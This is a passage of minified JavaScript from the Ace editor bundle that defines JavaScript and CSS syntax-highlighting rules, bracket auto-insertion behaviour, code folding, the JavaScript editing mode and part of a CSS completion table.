e)|r(?:ight(?:Context)?|e(?:sponse(?:XML|Text)|adyState))|global|x|m(?:imeTypes|ultiline|enubar|argin(?:Right|Bottom|Top|Left))|L(?:N(?:10|2)|OG(?:10E|2E))|b(?:o(?:ttom|rder(?:Width|RightWidth|BottomWidth|Style|Color|TopWidth|LeftWidth))|ufferDepth|elow|ackground(?:Color|Image)))\\b/},{token:\"identifier\",regex:o},{regex:\"\",token:\"empty\",next:\"no_regex\"}],start:[i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment_regex_allowed\"},{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment_regex_allowed\"},{token:\"string.regexp\",regex:\"\\\\/\",next:\"regex\"},{token:\"text\",regex:\"\\\\s+|^$\",next:\"start\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],regex:[{token:\"regexp.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"string.regexp\",regex:\"/[sxngimy]*\",next:\"no_regex\"},{token:\"invalid\",regex:/\\{\\d+\\b,?\\d*\\}[+*]|[+*$^?][+*]|[$^][?]|\\?{3,}/},{token:\"constant.language.escape\",regex:/\\(\\?[:=!]|\\)|\\{\\d+\\b,?\\d*\\}|[+*]\\?|[()$^+*?.]/},{token:\"constant.language.delimiter\",regex:/\\|/},{token:\"constant.language.escape\",regex:/\\[\\^?/,next:\"regex_character_class\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp\"}],regex_character_class:[{token:\"regexp.charclass.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"constant.language.escape\",regex:\"]\",next:\"regex\"},{token:\"constant.language.escape\",regex:\"-\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp.charachterclass\"}],function_arguments:[{token:\"variable.parameter\",regex:o},{token:\"punctuation.operator\",regex:\"[, ]+\"},{token:\"punctuation.operator\",regex:\"$\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],comment:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],qqstring:[{token:\"constant.language.escape\",regex:r},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"no_regex\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:r},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"no_regex\"},{defaultToken:\"string\"}]};if(!e||!e.noES6)this.$rules.no_regex.unshift({regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1||this.next.indexOf(\"jsx\")!=-1)return\"paren.quasi.end\"}return e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.quasi.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:r},{token:\"paren.quasi.start\",regex:/\\${/,push:\"start\"},{token:\"string.quasi.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string.quasi\"}]}),(!e||!e.noJSX)&&a.call(this);this.embedRules(i,\"doc-\",[i.getEndRule(\"no_regex\")]),this.normalizeRules()};r.inherits(u,s),t.JavaScriptHighlightRules=u}),define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/javascript\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/worker/worker_client\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"../worker/worker_client\").WorkerClient,f=e(\"./behaviour/cstyle\").CstyleBehaviour,l=e(\"./folding/cstyle\").FoldMode,c=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new f,this.foldingRules=new l};r.inherits(c,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"||e==\"no_regex\"){var u=t.match(/^.*(?:\\bcase\\b.*\\:|[\\{\\(\\[])\\s*$/);u&&(r+=n)}else if(e==\"doc-start\"){if(o==\"start\"||o==\"no_regex\")return\"\";var u=t.match(/^\\s*(\\/?)\\*/);u&&(u[1]&&(r+=\" \"),r+=\"* \")}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){var t=new a([\"ace\"],\"ace/mode/javascript_worker\",\"JavaScriptWorker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/javascript\"}.call(c.prototype),t.Mode=c}),define(\"ace/mode/css_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=t.supportType=\"animation-fill-mode|alignment-adjust|alignment-baseline|animation-delay|animation-direction|animation-duration|animation-iteration-count|animation-name|animation-play-state|animation-timing-function|animation|appearance|azimuth|backface-visibility|background-attachment|background-break|background-clip|background-color|background-image|background-origin|background-position|background-repeat|background-size|background|baseline-shift|binding|bleed|bookmark-label|bookmark-level|bookmark-state|bookmark-target|border-bottom|border-bottom-color|border-bottom-left-radius|border-bottom-right-radius|border-bottom-style|border-bottom-width|border-collapse|border-color|border-image|border-image-outset|border-image-repeat|border-image-slice|border-image-source|border-image-width|border-left|border-left-color|border-left-style|border-left-width|border-radius|border-right|border-right-color|border-right-style|border-right-width|border-spacing|border-style|border-top|border-top-color|border-top-left-radius|border-top-right-radius|border-top-style|border-top-width|border-width|border|bottom|box-align|box-decoration-break|box-direction|box-flex-group|box-flex|box-lines|box-ordinal-group|box-orient|box-pack|box-shadow|box-sizing|break-after|break-before|break-inside|caption-side|clear|clip|color-profile|color|column-count|column-fill|column-gap|column-rule|column-rule-color|column-rule-style|column-rule-width|column-span|column-width|columns|content|counter-increment|counter-reset|crop|cue-after|cue-before|cue|cursor|direction|display|dominant-baseline|drop-initial-after-adjust|drop-initial-after-align|drop-initial-before-adjust|drop-initial-before-align|drop-initial-size|drop-initial-value|elevation|empty-cells|fit|fit-position|float-offset|float|font-family|font-size|font-size-adjust|font-stretch|font-style|font-variant|font-weight|font|grid-columns|grid-rows|hanging-punctuation|height|hyphenate-after|hyphenate-before|hyphenate-character|hyphenate-lines|hyphenate-resource|hyphens|icon|image-orientation|image-rendering|image-resolution|inline-box-align|left|letter-spacing|line-height|line-stacking-ruby|line-stacking-shift|line-stacking-strategy|line-stacking|list-style-image|list-style-position|list-style-type|list-style|margin-bottom|margin-left|margin-right|margin-top|margin|mark-after|mark-before|mark|marks|marquee-direction|marquee-play-count|marquee-speed|marquee-style|max-height|max-width|min-height|min-width|move-to|nav-down|nav-index|nav-left|nav-right|nav-up|opacity|orphans|outline-color|outline-offset|outline-style|outline-width|outline|overflow-style|overflow-x|overflow-y|overflow|padding-bottom|padding-left|padding-right|padding-top|padding|page-break-after|page-break-before|page-break-inside|page-policy|page|pause-after|pause-before|pause|perspective-origin|perspective|phonemes|pitch-range|pitch|play-during|pointer-events|position|presentation-level|punctuation-trim|quotes|rendering-intent|resize|rest-after|rest-before|rest|richness|right|rotation-point|rotation|ruby-align|ruby-overhang|ruby-position|ruby-span|size|speak-header|speak-numeral|speak-punctuation|speak|speech-rate|stress|string-set|table-layout|target-name|target-new|target-position|target|text-align-last|text-align|text-decoration|text-emphasis|text-height|text-indent|text-justify|text-outline|text-shadow|text-transform|text-wrap|top|transform-origin|transform-style|transform|transition-delay|transition-duration|transition-property|transition-timing-function|transition|unicode-bidi|vertical-align|visibility|voice-balance|voice-duration|voice-family|voice-pitch-range|voice-pitch|voice-rate|voice-stress|voice-volume|volume|white-space-collapse|white-space|widows|width|word-break|word-spacing|word-wrap|z-index\",u=t.supportFunction=\"rgb|rgba|url|attr|counter|counters\",a=t.supportConstant=\"absolute|after-edge|after|all-scroll|all|alphabetic|always|antialiased|armenian|auto|avoid-column|avoid-page|avoid|balance|baseline|before-edge|before|below|bidi-override|block-line-height|block|bold|bolder|border-box|both|bottom|box|break-all|break-word|capitalize|caps-height|caption|center|central|char|circle|cjk-ideographic|clone|close-quote|col-resize|collapse|column|consider-shifts|contain|content-box|cover|crosshair|cubic-bezier|dashed|decimal-leading-zero|decimal|default|disabled|disc|disregard-shifts|distribute-all-lines|distribute-letter|distribute-space|distribute|dotted|double|e-resize|ease-in|ease-in-out|ease-out|ease|ellipsis|end|exclude-ruby|fill|fixed|georgian|glyphs|grid-height|groove|hand|hanging|hebrew|help|hidden|hiragana-iroha|hiragana|horizontal|icon|ideograph-alpha|ideograph-numeric|ideograph-parenthesis|ideograph-space|ideographic|inactive|include-ruby|inherit|initial|inline-block|inline-box|inline-line-height|inline-table|inline|inset|inside|inter-ideograph|inter-word|invert|italic|justify|katakana-iroha|katakana|keep-all|last|left|lighter|line-edge|line-through|line|linear|list-item|local|loose|lower-alpha|lower-greek|lower-latin|lower-roman|lowercase|lr-tb|ltr|mathematical|max-height|max-size|medium|menu|message-box|middle|move|n-resize|ne-resize|newspaper|no-change|no-close-quote|no-drop|no-open-quote|no-repeat|none|normal|not-allowed|nowrap|nw-resize|oblique|open-quote|outset|outside|overline|padding-box|page|pointer|pre-line|pre-wrap|pre|preserve-3d|progress|relative|repeat-x|repeat-y|repeat|replaced|reset-size|ridge|right|round|row-resize|rtl|s-resize|scroll|se-resize|separate|slice|small-caps|small-caption|solid|space|square|start|static|status-bar|step-end|step-start|steps|stretch|strict|sub|super|sw-resize|table-caption|table-cell|table-column-group|table-column|table-footer-group|table-header-group|table-row-group|table-row|table|tb-rl|text-after-edge|text-before-edge|text-bottom|text-size|text-top|text|thick|thin|transparent|underline|upper-alpha|upper-latin|upper-roman|uppercase|use-script|vertical-ideographic|vertical-text|visible|w-resize|wait|whitespace|z-index|zero\",f=t.supportConstantColor=\"aqua|black|blue|fuchsia|gray|green|lime|maroon|navy|olive|orange|purple|red|silver|teal|white|yellow\",l=t.supportConstantFonts=\"arial|century|comic|courier|cursive|fantasy|garamond|georgia|helvetica|impact|lucida|symbol|system|tahoma|times|trebuchet|utopia|verdana|webdings|sans-serif|serif|monospace\",c=t.numRe=\"\\\\-?(?:(?:[0-9]+)|(?:[0-9]*\\\\.[0-9]+))\",h=t.pseudoElements=\"(\\\\:+)\\\\b(after|before|first-letter|first-line|moz-selection|selection)\\\\b\",p=t.pseudoClasses=\"(:)\\\\b(active|checked|disabled|empty|enabled|first-child|first-of-type|focus|hover|indeterminate|invalid|last-child|last-of-type|link|not|nth-child|nth-last-child|nth-last-of-type|nth-of-type|only-child|only-of-type|required|root|target|valid|visited)\\\\b\",d=function(){var e=this.createKeywordMapper({\"support.function\":u,\"support.constant\":a,\"support.type\":o,\"support.constant.color\":f,\"support.constant.fonts\":l},\"text\",!0);this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"@.*?{\",push:\"media\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],media:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"\\\\}\",next:\"pop\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],comment:[{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"pop\"},{defaultToken:\"comment\"}],ruleset:[{token:\"paren.rparen\",regex:\"\\\\}\",next:\"pop\"},{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:[\"constant.numeric\",\"keyword\"],regex:\"(\"+c+\")(ch|cm|deg|em|ex|fr|gd|grad|Hz|in|kHz|mm|ms|pc|pt|px|rad|rem|s|turn|vh|vm|vw|%)\"},{token:\"constant.numeric\",regex:c},{token:\"constant.numeric\",regex:\"#[a-f0-9]{6}\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{3}\"},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-element.css\"],regex:h},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-class.css\"],regex:p},{token:[\"support.function\",\"string\",\"support.function\"],regex:\"(url\\\\()(.*)(\\\\))\"},{token:e,regex:\"\\\\-?[a-zA-Z_][a-zA-Z0-9_\\\\-]*\"},{caseInsensitive:!0}]},this.normalizeRules()};r.inherits(d,s),t.CssHighlightRules=d}),define(\"ace/mode/css_completions\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r={background:{\"#$0\":1},\"background-color\":{\"#$0\":1,transparent:1,fixed:1},\"background-image\":{\"url('/$0')\":1},\"background-repeat\":{repeat:1,\"repeat-x\":1,\"repeat-y\":1,\"no-repeat\":1,inherit:1},\"background-position\":{bottom:2,center:2,left:2,right:2,top:2,inherit:2},\"background-attachment\":{scroll:1,fixed:1},\"background-size\":{cover:1,contain:1},\"background-clip\":{\"border-box\":1,\"padding-box\":1,\"content-box\":1},\"background-origin\":{\"border-box\":1,\"padding-box\":1,\"content-box\":1},border:{\"solid $0\":1,\"dashed $0\":1,\"dotted $0\":1,\"#$0\":1},\"border-color\":{\"#$0\":1},\"border-style\":{solid:2,dashed:2,dotted:2,\"double\":2,groove:2,hidden:2,inherit:2,inset:2,none:2,outset:2,ridged:2},\"border-collapse\":{collapse:1,separate:1},bottom:{px:1,em:1,\"%\":1},clear:{left:1,right:1,both:1,none:1},color:{\"#$0\":1,\"rgb(#$00,0,0)\":1},cursor:{\"default\":1,pointer:1,move:1,text:1,wait:1,help:1,progress:1,\"n-resize\":1,\"ne-resize\":1,\"e-resize\":1,\"se-resize\":1,\"s-resize\":1,\"sw-resize\":1,\"w-resize\":1,\"nw-resize\":1},display:{none:1,block:1,inline:1,\"inline-block\":1,\"table-cell\":1},\"empty-cells\":{show:1,hide:1},\"float\":{left:1,right:1,none:1},\"font-family\":{Arial:2,\"Comic Sans MS\":2,Consolas:2,\"Courier New\":2,Courier:2,Georgia:2,Monospace:2,\"Sans-Serif\":2,\"Segoe UI\":2,Tahoma:2,\"Times New Roman\":2,\"Trebuchet MS\":2,Verdana:1},\"font-size\":{px:1,em:1,\"%\":1},\"font-weight\":{bold:1,normal:1},\"font-style\":{italic:1,normal:1},\"font-variant\":{normal:1,\"small-caps\":1},height:{px:1,em:1,\"%\":1},left:{px:1,em:1,\"%\":1},\"letter-spacing\":{normal:1},\"line-height\":{normal:1},\"list-style-type\":{none:1,disc:1,circle:1,square:1,decimal:1,\"decimal-leading-zero\":1,\"lower-roman\":1,\"upper-roman\":1,\"lower-greek\":1,\"lower-latin\":1,\"upper-latin\":1,georgian:1,\"lower-alpha\":1,\"upper-alpha\":1},margin:{px:1,em:1,\"%\":1},\"margin-right\":{px:1,em:1,\"%\":1},\"margin-left\":{px:1,em:1,\"%\":1},\"margin-top\":{px:1,em:1,\"%\":1},\"margin-bottom\":{px:1,em:1,\"%\":1},\"max-height\":{px:1,em:1,\"%\":1},\"max-width\":{px:1,em:1,\"%\":1},\"min-height\":{px:1,em:1,\"%\":1},\"min-width\":{px:1,em:1,\"%\":1},overflow:{hidden:1,visible:1,auto:1,scroll:1},\"overflow-x\":{hidden:1,visible:1,auto:1,scroll:1},\"overflow-y\":{hidden:1,visible:1,auto:1,scroll:1},padding:{px:1,em:1,\"%\":1},\"padding-top\":{px:1,em:1,\"%\":1},\"padding-right\":{px:1,em:1,\"%\":1},\"padding-bottom\":{px:1,em:1,\"%\":1},\"padding-left\":{px:1,em:1,\"%\":1},\"page-break-after\":{auto:1,always:1,avoid:1,left:1,right:1},\"page-break-before\":{auto:1,always:1,avoid:1,left:1,right:1},position:{absolute:1,relative:1,fixed:1,\"static\":1},right:{px:1,em:1,\"%\":1},\"table-layout\":{fixed:1,auto:1},\"text-decoration\":{none:1,underline:1,\"line-through\":1,blink:1},\"text-align\":{left:1,right:1,center:1,justify:1},\"text-transform\":{capitalize:1,uppercase:1,lowercase:1,none:1},top:{px:1,em:1,\"%\":1},\"vertical-align\":{top:1,bottom:1},visibility:{hidden:1,visible:1},\"white-space\":{nowrap:1,normal:1,pre:1,\"pre-line\":1,\"pre-wrap\":1},width:{px:1,em:1,\"%\":1},\"word-spacing\":{normal:1},filter:{\"alpha(opacity=$0100)\":1},\"text-shadow\":{\"$02px 2px 2px 